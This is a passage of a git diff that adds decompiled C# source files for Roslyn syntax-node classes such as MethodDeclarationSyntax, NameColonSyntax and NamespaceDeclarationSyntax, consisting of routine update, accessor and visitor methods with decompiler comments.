MethodDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || returnType != ReturnType || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || constraintClauses != ConstraintClauses || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + MethodDeclarationSyntax methodDeclarationSyntax = SyntaxFactory.MethodDeclaration(attributeLists, modifiers, returnType, explicitInterfaceSpecifier, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return methodDeclarationSyntax; + } + return methodDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new MethodDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new MethodDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, ReturnType, ExplicitInterfaceSpecifier, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public MethodDeclarationSyntax WithReturnType(TypeSyntax returnType) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, returnType, ExplicitInterfaceSpecifier, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public MethodDeclarationSyntax WithExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, explicitInterfaceSpecifier, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public MethodDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public MethodDeclarationSyntax WithTypeParameterList(TypeParameterListSyntax? typeParameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, Identifier, typeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithParameterListCore(ParameterListSyntax parameterList) + { + return WithParameterList(parameterList); + } + + public new MethodDeclarationSyntax WithParameterList(ParameterListSyntax parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, Identifier, TypeParameterList, parameterList, ConstraintClauses, Body, ExpressionBody, SemicolonToken); + } + + public MethodDeclarationSyntax WithConstraintClauses(SyntaxList constraintClauses) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, Identifier, TypeParameterList, ParameterList, constraintClauses, Body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithBodyCore(BlockSyntax? body) + { + return WithBody(body); + } + + public new MethodDeclarationSyntax WithBody(BlockSyntax? body) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, Identifier, TypeParameterList, ParameterList, ConstraintClauses, body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithExpressionBodyCore(ArrowExpressionClauseSyntax? expressionBody) + { + return WithExpressionBody(expressionBody); + } + + public new MethodDeclarationSyntax WithExpressionBody(ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, expressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new MethodDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, Identifier, TypeParameterList, ParameterList, ConstraintClauses, Body, ExpressionBody, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new MethodDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new MethodDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + public MethodDeclarationSyntax AddTypeParameterListParameters(params TypeParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + TypeParameterListSyntax typeParameterListSyntax = TypeParameterList ?? SyntaxFactory.TypeParameterList(); + return WithTypeParameterList(typeParameterListSyntax.WithParameters(typeParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + internal override BaseMethodDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items) + { + return AddParameterListParameters(items); + } + + public new MethodDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameterList(ParameterList.WithParameters(ParameterList.Parameters.AddRange((IEnumerable)items))); + } + + public MethodDeclarationSyntax AddConstraintClauses(params TypeParameterConstraintClauseSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(ConstraintClauses.AddRange((IEnumerable)items)); + } + + internal override BaseMethodDeclarationSyntax AddBodyAttributeListsCore(params AttributeListSyntax[] items) + { + return AddBodyAttributeLists(items); + } + + public new MethodDeclarationSyntax AddBodyAttributeLists(params AttributeListSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithAttributeLists(blockSyntax.AttributeLists.AddRange((IEnumerable)items))); + } + + internal override BaseMethodDeclarationSyntax AddBodyStatementsCore(params StatementSyntax[] items) + { + return AddBodyStatements(items); + } + + public new MethodDeclarationSyntax AddBodyStatements(params StatementSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithStatements(blockSyntax.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameColonSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameColonSyntax.cs new file mode 100644 index 0000000..9adfef1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameColonSyntax.cs @@ -0,0 +1,93 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class NameColonSyntax : BaseExpressionColonSyntax +{ + private IdentifierNameSyntax? name; + + public override ExpressionSyntax Expression => Name; + + public IdentifierNameSyntax Name => ((SyntaxNode)this).GetRedAtZero(ref name); + + public override SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameColonSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal override BaseExpressionColonSyntax WithExpressionCore(ExpressionSyntax expression) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (expression is IdentifierNameSyntax identifierNameSyntax) + { + return WithName(identifierNameSyntax); + } + return SyntaxFactory.ExpressionColon(expression, ColonToken); + } + + internal NameColonSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref name); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)name; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNameColon(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNameColon(this); + } + + public NameColonSyntax Update(IdentifierNameSyntax name, SyntaxToken colonToken) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (name != Name || colonToken != ColonToken) + { + NameColonSyntax nameColonSyntax = SyntaxFactory.NameColon(name, colonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return nameColonSyntax; + } + return nameColonSyntax.WithAnnotations(annotations); + } + return this; + } + + public NameColonSyntax WithName(IdentifierNameSyntax name) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(name, ColonToken); + } + + internal override BaseExpressionColonSyntax WithColonTokenCore(SyntaxToken colonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithColonToken(colonToken); + } + + public new NameColonSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, colonToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameEqualsSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameEqualsSyntax.cs new file mode 100644 index 0000000..94b47dc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameEqualsSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class NameEqualsSyntax : CSharpSyntaxNode +{ + private IdentifierNameSyntax? name; + + public IdentifierNameSyntax Name => ((SyntaxNode)this).GetRedAtZero(ref name); + + public SyntaxToken EqualsToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameEqualsSyntax)(object)((SyntaxNode)this).Green).equalsToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal NameEqualsSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref name); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)name; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNameEquals(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNameEquals(this); + } + + public NameEqualsSyntax Update(IdentifierNameSyntax name, SyntaxToken equalsToken) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (name != Name || equalsToken != EqualsToken) + { + NameEqualsSyntax nameEqualsSyntax = SyntaxFactory.NameEquals(name, equalsToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return nameEqualsSyntax; + } + return nameEqualsSyntax.WithAnnotations(annotations); + } + return this; + } + + public NameEqualsSyntax WithName(IdentifierNameSyntax name) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(name, EqualsToken); + } + + public NameEqualsSyntax WithEqualsToken(SyntaxToken equalsToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, equalsToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameMemberCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameMemberCrefSyntax.cs new file mode 100644 index 0000000..54c2166 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameMemberCrefSyntax.cs @@ -0,0 +1,86 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class NameMemberCrefSyntax : MemberCrefSyntax +{ + private TypeSyntax? name; + + private CrefParameterListSyntax? parameters; + + public TypeSyntax Name => ((SyntaxNode)this).GetRedAtZero(ref name); + + public CrefParameterListSyntax? Parameters => ((SyntaxNode)this).GetRed(ref parameters, 1); + + internal NameMemberCrefSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref name), + 1 => ((SyntaxNode)this).GetRed(ref parameters, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => name, + 1 => parameters, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNameMemberCref(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNameMemberCref(this); + } + + public NameMemberCrefSyntax Update(TypeSyntax name, CrefParameterListSyntax? parameters) + { + if (name != Name || parameters != Parameters) + { + NameMemberCrefSyntax nameMemberCrefSyntax = SyntaxFactory.NameMemberCref(name, parameters); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return nameMemberCrefSyntax; + } + return nameMemberCrefSyntax.WithAnnotations(annotations); + } + return this; + } + + public NameMemberCrefSyntax WithName(TypeSyntax name) + { + return Update(name, Parameters); + } + + public NameMemberCrefSyntax WithParameters(CrefParameterListSyntax? parameters) + { + return Update(Name, parameters); + } + + public NameMemberCrefSyntax AddParametersParameters(params CrefParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + CrefParameterListSyntax crefParameterListSyntax = Parameters ?? SyntaxFactory.CrefParameterList(); + return WithParameters(crefParameterListSyntax.WithParameters(crefParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameSyntax.cs new file mode 100644 index 0000000..2f2e07a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NameSyntax.cs @@ -0,0 +1,52 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class NameSyntax : TypeSyntax +{ + public int Arity + { + get + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (!(this is GenericNameSyntax)) + { + return 0; + } + return ((GenericNameSyntax)this).TypeArgumentList.Arguments.Count; + } + } + + internal abstract SimpleNameSyntax GetUnqualifiedName(); + + internal abstract string ErrorDisplayName(); + + internal string? GetAliasQualifierOpt() + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + NameSyntax nameSyntax = this; + while (true) + { + switch (nameSyntax.Kind()) + { + case SyntaxKind.QualifiedName: + break; + case SyntaxKind.AliasQualifiedName: + { + SyntaxToken identifier = ((AliasQualifiedNameSyntax)nameSyntax).Alias.Identifier; + return ((SyntaxToken)(ref identifier)).ValueText; + } + default: + return null; + } + nameSyntax = ((QualifiedNameSyntax)nameSyntax).Left; + } + } + + internal NameSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NamespaceDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NamespaceDeclarationSyntax.cs new file mode 100644 index 0000000..8e9061b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/NamespaceDeclarationSyntax.cs @@ -0,0 +1,411 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class NamespaceDeclarationSyntax : BaseNamespaceDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private NameSyntax? name; + + private SyntaxNode? externs; + + private SyntaxNode? usings; + + private SyntaxNode? members; + + internal Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NamespaceDeclarationSyntax Green => (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NamespaceDeclarationSyntax)(object)((SyntaxNode)this).Green; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((GreenNode)Green).GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override SyntaxToken NamespaceKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)Green.namespaceKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override NameSyntax Name => ((SyntaxNode)this).GetRed(ref name, 3); + + public SyntaxToken OpenBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)Green.openBraceToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public override SyntaxList Externs => new SyntaxList(((SyntaxNode)this).GetRed(ref externs, 5)); + + public override SyntaxList Usings => new SyntaxList(((SyntaxNode)this).GetRed(ref usings, 6)); + + public override SyntaxList Members => new SyntaxList(((SyntaxNode)this).GetRed(ref members, 7)); + + public SyntaxToken CloseBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)Green.closeBraceToken, ((SyntaxNode)this).GetChildPosition(8), ((SyntaxNode)this).GetChildIndex(8)); + + public SyntaxToken SemicolonToken + { + get + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = Green.semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(9), ((SyntaxNode)this).GetChildIndex(9)); + } + } + + public NamespaceDeclarationSyntax Update(SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken openBraceToken, SyntaxList externs, SyntaxList usings, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, namespaceKeyword, name, openBraceToken, externs, usings, members, closeBraceToken, semicolonToken); + } + + internal NamespaceDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref name, 3), + 5 => ((SyntaxNode)this).GetRed(ref externs, 5), + 6 => ((SyntaxNode)this).GetRed(ref usings, 6), + 7 => ((SyntaxNode)this).GetRed(ref members, 7), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => name, + 5 => externs, + 6 => usings, + 7 => members, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitNamespaceDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitNamespaceDeclaration(this); + } + + public NamespaceDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken openBraceToken, SyntaxList externs, SyntaxList usings, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due 